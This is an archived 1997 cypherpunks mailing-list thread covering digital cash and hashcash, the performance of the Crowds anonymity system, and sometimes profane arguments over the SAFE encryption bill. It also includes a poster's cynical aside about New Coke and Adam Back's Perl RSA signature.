Here is what they did:

Come out with NEW COKE which was a major formula change.
Drop OLD COKE at the same time.
Wait a few months while the natives are restless over the change. Bring
back "OLD COKE" due to customer demmand (making Coca-Cola Inc. the "good"
guys). Don't tell anyone that you have switched from sugar to corn suryp
(the sheep will never notice).

Vola!! Now Coca-Cola has dramatically increased their profits and won a
major PR campain (they care about their customers) sales are up costs are
down and the sheep are happy.

Now I have NEVER seen the neanderthals in DC ever pull off somthing this
good. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If Windows sucked it would be good for something.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2obkI9Co1n+aLhhAQFHfQQAr3ZCGiGvI2x1hWtcjlSIlt13uKG9RLvW
3L4Y85PdSJdcdx+M5fPBpiwGwVEw1AuGuV5irWvumJZFhC2QazDB5Rs/SfTigCJw
B9LEqftJi3J1UHzNFRGpdR7H1YR4bmrw95shbu1ufbloQwh2r9ykRHF3uXsRHuo8
FH2Q9S3J1yI=
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 2 May 1997 19:10:18 +0800
To: rah@shipwright.com
Subject: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302090aaf8e840675e3@[139.167.130.246]>
Message-ID: <199705020937.KAA00881@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bob Hettinga <rah@shipwright.com> writes:
>
[metaphors, <html tags> snipped, do you _have_ to :-)]
>
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > How about this, rather than interface your ecash system with US
> > dollars yourself through credit cards/ debit cards/ cheques / cash,
> > just set up an entirely disconnected system.
> 
> Nah. I want to have real money backing it up. Any attempt to make money
> less negotiable reduces its usefulness. Remember the Soviet Ruble? An
> extreme example in the opposite direction, surely, but you get the idea.

It's not an attempt to make money less negotiable, though this is of
course the effect.  It's just another approach to avoiding the banking
regulations.  As you admit the market will take care of the exchange
mechanism, it just adds inconvenience in locating the exchange
mechanisms, and the stigma that the mechanisms are not official.

> > However this means you've got to trust the bank not to mint unlimited
> > amounts of money for it's own use.
> 
> Right. That's why you have a separate trustee holding the reserve capital.

So now you get to trust the trustee.  Doesn't seem like a big
improvement.

> Anyway, in the first stages, I claim a trustee should be an actual, real,
> um, "hoity-toity", bank. In the same way that SET and Cybercash and ATM
> machines "blind" their transactions through the host bank onto a settlement
> network to the customer's own bank, there can be sufficient blinding of the
> transaction through the trustee so that the only thing the trustee sees is
> a confirmation to pay and a settlement wire from the cash purchaser's bank.

I don't think VISA and friends want anonymous settlement, they like
comprehensive transaction logs to keep people like FinCEN happy.
You're not suggesting that SET offers anonymity are you?  

Anyway, I'm not against this initial approach necessarily.  Once
you've got one non-anonymous electronic payment system with low entry
costs to obtaining both a merchant and a purchaser, and is widely
accepted, you can boot strap an anonymous payment system off it.

The net model is that it should be that a merchant and a customer
account are the same, and can be had by filling in a web page in real
time.  However, aren't they trying to make big bucks out of merchant
accounts?

Will SET and Cybercash make it easier to be a merchant than it is to
be a VISA merchant?  Becoming a credit card merchant is a rather
onerous expensive, slow process I hear.

> Of course, at some point, the trustee can just hold other bearer
> certificates instead of keeping the issuer's reserves in book-entry assets.
> When there are other bearer certificates to hold, anyway...

You lost me there.  Above you described the trustee's function as
holding the ability to issue money to keep the bank honest.  What _is_
a bearer certificate in this discussion?  A digitally signed share
certificate, or other representation of an unit of value?

Who issues the bearer certificates?  What does possesion of the bearer
certificate represent in terms of ownership of assetts?

> How you issue those certificates mechanically is not nearly as important as
> the fact that you *can* issue them uniquely. Ideas like hashcash and
> micromint work real well for very small transactions, for example,
> precisely because of the cost to generate the first one in the series,
> which forces you to print a whole bunch of subsequent ones to pay for the
> computational resources you've used. 

Actually it's micromint which has the threshold function feature
through use of k-way hashes, my hash cash is quite simple, and
probably impractical to use as a basis for a currency you wished to
connect to a real currency.  There is a cost of printing hashcash
coins, which can be made high (say a weeks CPU for a P100), but
basically anyone can mint all the money they have CPU power for.  This
is interesting for throttling systematic abuse of limited net
resources, and combining with a digicash system you could have
transferability as well as anonymity.  However the stability of the
money supply is probably not up to it.  It's kind of like allowing
anyone to print money, but making it cost them in time only; the
resources they already have.

> However, once again, um, no offense, what cryptographic protocol you
> use to generate the certificate is the functional equivalent of
> <analogy-warning> doodling, the process which makes those complex
> graphic fills on paper currency which were designed to moire up any
> attempt to photoengrave a certificate copy. </analogy> The point is,
> you need cryptography for a digital bearer certificate market, but
> it's not sufficient to create that market.

You think you can create a digital bearer certificate market on the
back of your architecture of issuers, and trustees.  I don't see a
great difference between this and a traditional bank.  How is it going
to reduce the per transaction overhead, and how is it in any way
distributed.  (I presume your term "geodisic" refers to a distributed
value transfer system).

> > But if you've got multiple banks then you've got to have an exchange
> > mechanism.  The market could probably take care of this, setting
> > exchange rates based on banks reputations.
> 
> Exactly. For instance, (hint, hint) if someone were to build
> Eudora/Netscape/Quicken plugins for FSTC electronic checks, and a
> plug-and-play deposit server for banks to receive them and convert them
> into ACH transactions, who says you need the ACH system to settle the
> checks anymore? All the different bank servers could just clear against
> themselves on the net at some point, cutting their ACH fees out completely.
> Someday.

What is an ACH transaction?  A electronic bank clearing protocol?
FSTC is Financial Securities Trading... electronic checks?

Isn't this going to be just another electronic check, with full
transaction log, and associated overhead, banking regulations giving
banks enough effective monopoly to charge high handling fees?  I don't
find electronic checks that interesting.

What we want is fully anonymous, ultra low transaction cost,
transferable units of exchange.  If we get that going (and obviously
there are some people trying DigiCash, and a couple of others), the
banks will become the obsolete dinasaurs they deserve to become.  I
think this would be a good outcome, and I'd rather see this happen
than see anyone go to any great effort to get the banks involved.  Let
them stick to electronic "cash" systems (what a misuse of the word)
based on credit cards and checks.  See how that survives against
_real_ distributed electronic cash with transaction costs 10 to 100
times lower, with 0 red tape barriers to entry for both sellers and
buyers.  This is what I find interesting.

The net is becoming more and more important as an mechanism for
information exchange in it's own right.  This is why I think just
cutting the ties with the physical world and having a payment system
working now would be interesting.  Deployment wins and all that.
Hashcash is completely distributed; there is NO bank.  You can not
forge hash cash, you can not double spend hash cash.  You can print as
much hashcash as you have CPU time for.  You can resell hashcash for
real money on an unoffical exchange, or trade hashcash for different
services.

> > However it would be nicer to have something which required no trust
> > and which had no posssibility of cheating rather than relying on
> > reputation to sort them out.
> 
> Actually, I think there is no such thing as finance without reputation.
> :-). I'd be very interested to see how you can prove otherwise...

I don't see any particular inherent reason why an electronic payment
protocol can't be designed which requires no trust of the bank; at
least it should be possible to arrange it so that the bank minting
funds for it's own use will be detected.  All you need is that the
protocol is publically verifiable.  Digicash already prevents double
spending through the database of protocoins.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 2 May 1997 18:22:13 +0800
To: hal@rain.org
Subject: Re: A new system for anonymity on the web
In-Reply-To: <199704261927.MAA02125@crypt.hfinney.com>
Message-ID: <199705020958.KAA00897@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Hal Finney <hal@rain.org> writes:
> Adam Back, <aba@dcs.ex.ac.uk>, writes:
> > The disadvantage of crowds is that it won't work to well over a 28.8k
> > modem.  Browsing the web is slow enough as it is, without having
> > traffic make multiple hops through modem users machines.
> 
> Good point.  More generally, a path will only be as fast as its slowest
> link.  I suggested to the authors that the crowds could be segregated
> by access speed, so that there could be separate crowd pools for 28.8
> modem users, for people who share connectivity over a limited-speed line,
> and for people who have their own direct high-speed link.
> 
> Theoretically, at least for long downloads, passing through multiple
> slow links shouldn't slow down the transmission, 

I'm not sure that this is so.

Ascii pic. consider Alice and Bob, without crowds:

        +----------+
        | Internet |
        +----------+
             | 2Mbits
          +-----+
          | ISP |
          +-----+
     28.8k/     \28.8k
         /       \
      +---+     +---+
      | A |     | B |
      +---+     +---+

When Alice and Bob are online, consider that they are actually using
their bandwidth most of the time.  I know I do; if I'm not using it I
hang up, with pay per second phone lines, you're likely to.

Now add in crowds where traffic from A is going through B, and traffic
from B is going through A:

                           +----------+
                           | Internet |
                           +----------+
                                 | 2Mbits
                              +-----+
                              | ISP |
                              +-----+
               14.4k for Alice/     \14.4k for Bob
                  14k for Bob/       \+14.4k for Alice
                          +---+     +---+
                          | A |     | B |
                          +---+     +---+

Now Bob and Alice each have 1/2 the bandwidth they had before.  Add
more users and longer hops and it gets worse.  Of course my claim that
Alice uses 100% of her bandwidth is probably an exaggeration.  There
will be idle times while she is reading.  However there will be times
when both Alice and Bob are downloading, for multiple users with
multiple hops it is likley that there will be more than one user
actively downloading at any time.

> just increase the latency.  I don't have a very clear picture about
> how long it would take to snake in and out of a bunch of people's
> modem lines en route to the web server.

I'm sure it's going to increase the latency too.  My ping times are
200ms from the PPP link alone (ie pinging the PPP server machine
itself).  Add to this that the members of the jondo / crowds pool may
not be on the same ISP, and you've got the additional overheads of
whatever latency is added by the cumulative latency between each of
the hops in the chain.

> If the latency does take an intolerable hit, maybe the idea we discussed
> for the "keep alive" transmission would work, where all the web page
> data gets downloaded with a single request.  (I should clarify that I
> was not suggesting that this be done all the time by default, but rather
> that it be an extension to the http protocol, a different GET request
> or a different parameter sent along with the GET.)



> Another idea, which loses more anonymity but is still as good as the
> Anonymizer, is to run your jondo on your ISP, if that is allowed.  Then
> other people's paths don't go through your modem, they just get turned
> around at the ISP level.  A spy at your ISP may be able to find out
> where you are browsing, but the average web site won't.

This compromise is probably retains a fair amount of anonymity.  The
ISP probably isn't loggin IP traffic, or incoming or outgoing web
proxy (jondo/crowds) traffic, and probably isn't actively attacking
your jondo process to see which bits are for you and which are being
forwarded.

I wonder if you could improve the security of this by trading off
against some additional bandwidth consumption for the ISP.  Say have
split the jondo in half, with two cooperating half-Jondos acting as a
single virtual jondo in such a way that someone with root access on
one machine but not the other, can't extract any useful information by
spying on that half of the jondo.

> > The other problem is the scalability of the strong systems like DC
> > nets or PipeNet.  Bandwidth is still scarce.
> 
> The Crowds people argued that their system automatically scaled, since
> you had more jondos ("web remailers") the more people who used it.  If
> average path length is constant then the anonymous web browsing method
> has a greater cost than the regular way, but it is a constant factor.

Crowds migh scale in this way, but DC nets and Pipenets don't.  Crowds
is a weaker cousin of DC nets and Pipenets.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Horton <jehorton@erols.com>
Date: Fri, 2 May 1997 22:47:36 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: unSAFE
In-Reply-To: <Pine.GSO.3.95.970502053413.14481B-100000@well.com>
Message-ID: <336A017A.7541@erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Fri, 2 May 1997 01:04:17 -0400
> From: Michael Sims <jellicle@inch.com>
> To: fight-censorship@vorlon.mit.edu
> Cc: Jonah Seiger <jseiger@cdt.org>, abd@cdt.org, Tim May <tcmay@got.net>,
>     declan@well.com
> Subject: unSAFE
> 
> Well, I've read Mr. Davidson's defense of the SAFE bill and of course
> Mr. May's earlier argument against it.  A few more comments.
> 
<deleted to save space> 
> 
> Although about the Clipper chip, if you go about 60% through the
> article he has a solid discussion of the EAA, IEEPA and the
> presidential power thereunder.  It's 50 U.S.C. Sec. 1701 and
> following.  Section 1702 there has the meat of it.
> 
> This Act allows the President, once he has declared a state of
> emergency, to regulate essentially any commerce with another nation,
> except those items directly identified as "speech" - magazines,
> papers, etc.
>

I am not an expert in these matters, but one could argue that electronic
communications is a form of speech, and that the use of the internet is
an implementation mechanism of free speech that correlates to media such
as magazines and papers, etc.  Perhaps this is why the net as a form of
electronic commerce is giving global governments regulatory fits.  The
laws were written with regard to tangible forms of media versus media in
the electronic age.

I would recommend that a watchful eye be cast about to monitor any
attempts at changes to the items identified as "speech" in the USC
sections outlined above, especially given the recent judicial decision
regarding the illegality of ITAR with respect to cryptographic systems.

> 
> President Clinton has twice declared a state of emergency regarding
> export control regulations, the latest on August 15, 1996.
<deleted to save space> 
>

Perhaps a worthy endeavor is to attempt a modification to the Trading
with the Enemies Act, given "global peace and stability" presently at
hand.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sat, 3 May 1997 02:42:53 +0800
To: Jonah Seiger <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
Message-ID: <199705021829.LAA28903@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 5/02/97 -0400, Jonah Seiger wrote:
>This is indeed true - CDT sent a separate letter and signed the IPC letter.
>
>As Marc Rotenberg knows very well, the legislative process is complicated.
>Marc also knows that Goodlatte, Coble, Lofgren, and the other subcommittee
>supporters of SAFE chose not to consider any amendments at the subcommittee
>markup, but rather to take up our concerns at the full committee.

You obviously meant, "ignore our concerns" rather than "take up our
concerns," right?!?

Because that is, more accurately, what they did and will do.

>Goodlatte's staff and the other sponsors of SAFE had worked very hard to
>prevent any amendments, hostile *and* friendly, at the subcommittee vote
>for fear of hostile amendments from the Administration and opponents of
>SAFE in the congress. A bill isn't worth much when it gets to the full
>Committee if it gets gutted at the Subcommittee.  Goodlatte wanted to get
>some momentum behind it before going into the expected all out fight at the
>full committee.

I see a issue that's not being addressed.  Presumably, in legislative
negotiations the theory behind including such a provision (the criminal
provision) is that there are people "out there" who would support it with
that provision present, but who would oppose it with that provision removed.
(Moreover, the theory would suggest that somebody believes that this bill
would be MORE likely to pass with the provision present than absent.)

Who, exactly, are these people?  Aside from a few government thugs, I really
don't see the groundswell.  Numerically, I think I'm safe in concluding that
there are in the citizenry, by far, more people who would support the SAFE
bill only with the provision removed than those who'd support it only with
the provision present.  We should insist on a bill which reflects the
desires of the public, NOT the government.

One more thing.  That idiot Clinton can easily veto this bill if he chooses
to do so.  The only way this bill is going to turn into law, I think, is if
he _doesn't_ veto it, and that will mean that he prefers getting its
"positives" (positive to him, at least), the criminal provision, and all
those "legitimate needs of law enforcement", and tolerating its "negatives"
(again, to him, at least.)

He may publicly oppose it, but I think that position is a fraud.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Fri, 2 May 1997 23:42:07 +0800
To: Michael Sims <cypherpunks@cyberpass.net
Subject: TWO Letters on SAFE
In-Reply-To: <Pine.LNX.3.95.970502084644.13849C-100000@vorlon.mit.edu>
Message-ID: <v0300780aaf8fc2572aac@[204.91.138.22]>
MIME-Version: 1.0
Content-Type: text/plain




Shabbir is a very good organizer and often very busy, which
may explain the confusion about the TWO letters that were
sent out regarding SAFE.

CDT sent a letter to Hon. Howard Conable, the chair of the
Subcommittee, on April 24 which said that "CDT strongly urges
you to report H.R. 695, the SAFE Act, out of the Courts
and Intellectual Property Subcommittee without amendment."
[The CDT letter is at
http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]

EPIC helped coordinate a different letter for the Internet
Privacy Coalition, which went to Rep. Goodlatte on April
28 and said

     While expressing our support for the measure, we wish
     also to state our concern about one provision contained
     in the bill. We believe that this provision, which would
     create new criminal penalties for the use of encryption in
     furtherance of a crime, could undermine the otherwise laudable
     goals of the legislation. For the reasons set forth below, we
     recommend that this provision be reconsidered when the Committee
     considers the bill.

The IPC letter was signed by 26 privacy groups, user organizations,
private companies, and trade associations. [The IPC letter is
at http://www.privacy.org/ipc/safe_letter.html ]


Marc Rotenberg
EPIC.




At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>>Two quick points:
>>
>>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>>letter to the House subcommittee on April 29 urging that SAFE be approved
>>without any changes? (I'm in Oklahoma right now and I have a copy of that
>>letter in my office in DC, but that's what I remember.)
>
>Declan, I can't believe you did your research so poorly.  Go look at the
>Internet Privacy Coalition letter at
>http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>there.
>
>You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>Eagle Forum, VTW, and PGP all signed.
>
>Since you've been laboring under this mistaken impression, you owe somebody
>at CDT a big fucking apology.
>
>-S
>
>>
>>
>>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>>
>>> The Administration hates this bill, because it threatens their ability to
>>> roll out Key Recovery.  They've said as much in the letter Declan
>>>forwarded:
>>>
>>>    "The bill could be read as prohibiting the United States government
>>>     from using appropriate incentives to support a key management
>>>     infrastructure and KEY RECOVERY." [emphasis added]
>>>
>>> Do you think that if this bill helped the Administration, that they'd be
>>> out there urging the subcommittee chairman to stop it?  I think not.
>>>
>>> I'm also puzzled by the fact that CDT is being criticized pretty much
>>> solely, even though the entire Internet Privacy Coalition, and several
>>> other groups all wrote a letter of support of the bill with only a
>>> criticism of one provision.  However the overall statement was of support.
>>> (see http://www.privacy.org/ipc/safe_letter.html)
>>>
>>> As far as I can tell, everyone criticizing the bill either thinks that:
>>>
>>> 	a) CDT actually runs all these groups behind the scenes, or
>>> 	b) pretty much all of the Internet advocates believe that this bill
>>>            is needed and are doing the best they can with what Congress has
>>>            written.
>>>
>>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
>>> Reform, the Association for Computing Machinery, Computer Professionals for
>>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>>> Defense Lawyers, and PGP Inc all signed this letter.
>>>
>>> Can you consider, perhaps, for a second, that critics of SAFE are being
>>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>>> Administration.  Is that the kind of company that cypherpunks keep?
>>>
>>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>>
>>>   The pending bill provides a positive framework for the reforms that are
>>>   long overdue in this critical area. It makes clear that the sale or use
>>> of
>>>   encryption, a vital technique to promote network security and individual
>>>   privacy, should not be restricted in the United States. This is the view
>>>   widely shared by users of the Internet and the computer and
>>>communications
>>>   industry. It was also a central recommendation of the
>>>   report of the National Research Council last year.
>>>
>>> Looks like widespread support from people who study this issue for living.
>>> I'm glad to be counted among them.
>>>
>>> -S
>>>
>>> -Shabbir
>>>
>>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 3 May 1997 00:24:11 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill discussion
Message-ID: <199705021555.LAA00885@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Mac Norton wrote: 
> On Fri, 2 May 1997, Shabbir J. Safdar wrote:
> > By attacking the supporters of the bill, you're attacking CDT, the ACLU,
> > EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
> > saying that all the Internet advocates have turned against crypto?
> 
> Criticizing the bill is not the same thing as "attacking" its
> supporters. Criticizing the arguments of those supporters in
> favor of the bill, and questioning seeming inconsistencies
> therein, is not the same thing as "attacking" those supporters.

> Nor does such criticism imply an accusation that all, or
> even some, of those supporters "have turned against crypto."
> 
> The illogical equlvalence you set up, however, does seem to
> be characteristic of these supporters' arguments.:)

  Nor does citing a litany of 'Libertarian Approved Sources of
Good and Righteousness" reduce the size of the stick getting
shoved up one's butthole, or the right and responsibility of
those who oppose this action to speak up.
  These fine, upstanding organizations that Shabbir speaks of
have all become a part of the system. They have learned to
play along with the compromise game, just like would-be
terrorists who give up their hostages one-by-one to the
'negotiators'.
  The secret of hostage negotiation is to convince your opponent
that you are his 'friend' and to convince him/her to be 'reasonable'.
(Read "compromise.")

  I recently had a lawyer who suggested that I take the 'deal'
that the prosecution was offering me, because it was a 'good
one', even though I was innocent.
  Fuck him. I acted on my own behalf and tore the prosecutor a
new asshole in court.
  The irony is that my lawyer, in the words of the judge, herself,
was "one of the better lawyers" in the community.

  Fuck the "CDT, the ACLU, EPIC, VTW, EFF, Eagle Forum, Americans 
for Tax Reform, and PGP Inc."
  And fuck Mother Teresa if she wants me to support the SAFE bill.
I don't care how many children she's saved, it has nothing to do
with my decision to fight against bad legislation.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Sat, 3 May 1997 00:21:27 +0800
To: Marc Rotenberg <cypherpunks@cyberpass.net
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v03007839af8f6a35bc42@[166.84.253.73]>
Message-ID: <v0300783caf8f85df4188@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


Thanks Marc, for the efforts at clearing things.  The CDT letter was sent
to the subcommittee, for reasons we've all already talked about (that these
issues are better handled at the full committee).

The Internet Privacy Coalition letter, which we all signed, was sent to
Goodlatte and contains the following quote:

   For the reasons set forth below, we recommend that this provision be
   reconsidered when the COMMITTEE considers the bill. [emphasis added]

Note, that Committee means full Committee, not subcommittee.

-S


At 11:33 AM -0500 5/2/97, Marc Rotenberg wrote:
>Shabbir is a very good organizer and often very busy, which
>may explain the confusion about the TWO letters that were
>sent out regarding SAFE.
>
>CDT sent a letter to Hon. Howard Conable, the chair of the
>Subcommittee, on April 24 which said that "CDT strongly urges
>you to report H.R. 695, the SAFE Act, out of the Courts
>and Intellectual Property Subcommittee without amendment."
>[The CDT letter is at
>http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>
>EPIC helped coordinate a different letter for the Internet
>Privacy Coalition, which went to Rep. Goodlatte on April
>28 and said
>
>     While expressing our support for the measure, we wish
>     also to state our concern about one provision contained
>     in the bill. We believe that this provision, which would
>     create new criminal penalties for the use of encryption in
>     furtherance of a crime, could undermine the otherwise laudable
>     goals of the legislation. For the reasons set forth below, we
>     recommend that this provision be reconsidered when the Committee
>     considers the bill.
>
>The IPC letter was signed by 26 privacy groups, user organizations,
>private companies, and trade associations. [The IPC letter is
>at http://www.privacy.org/ipc/safe_letter.html ]
>
>
>Marc Rotenberg
>EPIC.
>
>
>
>
>At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>>At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>>>Two quick points:
>>>
>>>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>>>letter to the House subcommittee on April 29 urging that SAFE be approved
>>>without any changes? (I'm in Oklahoma right now and I have a copy of that
>>>letter in my office in DC, but that's what I remember.)
>>
>>Declan, I can't believe you did your research so poorly.  Go look at the
>>Internet Privacy Coalition letter at
>>http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>>bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>>there.
>>
>>You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>>Eagle Forum, VTW, and PGP all signed.
>>
>>Since you've been laboring under this mistaken impression, you owe somebody
>>at CDT a big fucking apology.
>>
>>-S
>>
>>>
>>>
>>>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>>>
>>>> The Administration hates this bill, because it threatens their ability to
>>>> roll out Key Recovery.  They've said as much in the letter Declan
>>>>forwarded:
>>>>
>>>>    "The bill could be read as prohibiting the United States government
>>>>     from using appropriate incentives to support a key management
>>>>     infrastructure and KEY RECOVERY." [emphasis added]
>>>>
>>>> Do you think that if this bill helped the Administration, that they'd be
>>>> out there urging the subcommittee chairman to stop it?  I think not.
>>>>
>>>> I'm also puzzled by the fact that CDT is being criticized pretty much
>>>> solely, even though the entire Internet Privacy Coalition, and several
>>>> other groups all wrote a letter of support of the bill with only a
>>>> criticism of one provision.  However the overall statement was of support.
>>>> (see http://www.privacy.org/ipc/safe_letter.html)
>>>>
>>>> As far as I can tell, everyone criticizing the bill either thinks that:
>>>>
>>>> 	a) CDT actually runs all these groups behind the scenes, or
>>>> 	b) pretty much all of the Internet advocates believe that this bill
>>>>            is needed and are doing the best they can with what
>>>>Congress has
>>>>            written.
>>>>
>>>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
>>>> Reform, the Association for Computing Machinery, Computer
>>>>Professionals for
>>>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>>>> Defense Lawyers, and PGP Inc all signed this letter.
>>>>
>>>> Can you consider, perhaps, for a second, that critics of SAFE are being
>>>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>>>> Administration.  Is that the kind of company that cypherpunks keep?
>>>>
>>>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>>>
>>>>   The pending bill provides a positive framework for the reforms that are
>>>>   long overdue in this critical area. It makes clear that the sale or use
>>>> of
>>>>   encryption, a vital technique to promote network security and individual
>>>>   privacy, should not be restricted in the United States. This is the view
>>>>   widely shared by users of the Internet and the computer and
>>>>communications
>>>>   industry. It was also a central recommendation of the
>>>>   report of the National Research Council last year.
>>>>
>>>> Looks like widespread support from people who study this issue for living.
>>>> I'm glad to be counted among them.
>>>>
>>>> -S
>>>>
>>>> -Shabbir
>>>>
>>>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Sat, 3 May 1997 00:16:29 +0800
To: Declan McCullagh <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v0300780aaf8fc2572aac@[204.91.138.22]>
Message-ID: <v0300783eaf8f888fe3b0@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


Actually, I think you do.  There aren't any other groups out there who sent
letters urging the entire subcommittee to start hacking on the bill at the
subcommittee level.  Even the IPC letter to Goodlatte said to address the
issue at the full committee level.

That seems to be the strategy everyone is pursuing, so if you're going to
attack CDT for it, you had better include VTW, the ACLU, EPIC, EFF, et al.

-S

At 8:51 AM -0700 5/2/97, Declan McCullagh wrote:
>Thanks, Marc, for posting the URL for CDT's letter urging the House
>subcommittee to approve SAFE without amendment. I was quoting from memory.
>
>No, Shabbir, I don't think I owe anyone a "big fucking apology."
>
>-Declan
>
>
>On Fri, 2 May 1997, Marc Rotenberg wrote:
>
>>
>>
>> Shabbir is a very good organizer and often very busy, which
>> may explain the confusion about the TWO letters that were
>> sent out regarding SAFE.
>>
>> CDT sent a letter to Hon. Howard Conable, the chair of the
>> Subcommittee, on April 24 which said that "CDT strongly urges
>> you to report H.R. 695, the SAFE Act, out of the Courts
>> and Intellectual Property Subcommittee without amendment."
>> [The CDT letter is at
>> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>>
>> EPIC helped coordinate a different letter for the Internet
>> Privacy Coalition, which went to Rep. Goodlatte on April
>> 28 and said
>>
>>      While expressing our support for the measure, we wish
>>      also to state our concern about one provision contained
>>      in the bill. We believe that this provision, which would
>>      create new criminal penalties for the use of encryption in
>>      furtherance of a crime, could undermine the otherwise laudable
>>      goals of the legislation. For the reasons set forth below, we
>>      recommend that this provision be reconsidered when the Committee
>>      considers the bill.
>>
>> The IPC letter was signed by 26 privacy groups, user organizations,
>> private companies, and trade associations. [The IPC letter is
>> at http://www.privacy.org/ipc/safe_letter.html ]
>>
>>
>> Marc Rotenberg
>> EPIC.
>>
>>
>>
>>
>> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>> >>Two quick points:
>> >>
>> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>> >>letter to the House subcommittee on April 29 urging that SAFE be approved
>> >>without any changes? (I'm in Oklahoma right now and I have a copy of that
>> >>letter in my office in DC, but that's what I remember.)
>> >
>> >Declan, I can't believe you did your research so poorly.  Go look at the
>> >Internet Privacy Coalition letter at
>> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>> >there.
>> >
>> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>> >Eagle Forum, VTW, and PGP all signed.
>> >
>> >Since you've been laboring under this mistaken impression, you owe somebody
>> >at CDT a big fucking apology.
>> >
>> >-S
>> >
>> >>
>> >>
>> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>> >>
>> >>> The Administration hates this bill, because it threatens their
>>ability to
>> >>> roll out Key Recovery.  They've said as much in the letter Declan
>> >>>forwarded:
>> >>>
>> >>>    "The bill could be read as prohibiting the United States government
>> >>>     from using appropriate incentives to support a key management
>> >>>     infrastructure and KEY RECOVERY." [emphasis added]
>> >>>
>> >>> Do you think that if this bill helped the Administration, that they'd be
>> >>> out there urging the subcommittee chairman to stop it?  I think not.
>> >>>
>> >>> I'm also puzzled by the fact that CDT is being criticized pretty much
>> >>> solely, even though the entire Internet Privacy Coalition, and several
>> >>> other groups all wrote a letter of support of the bill with only a
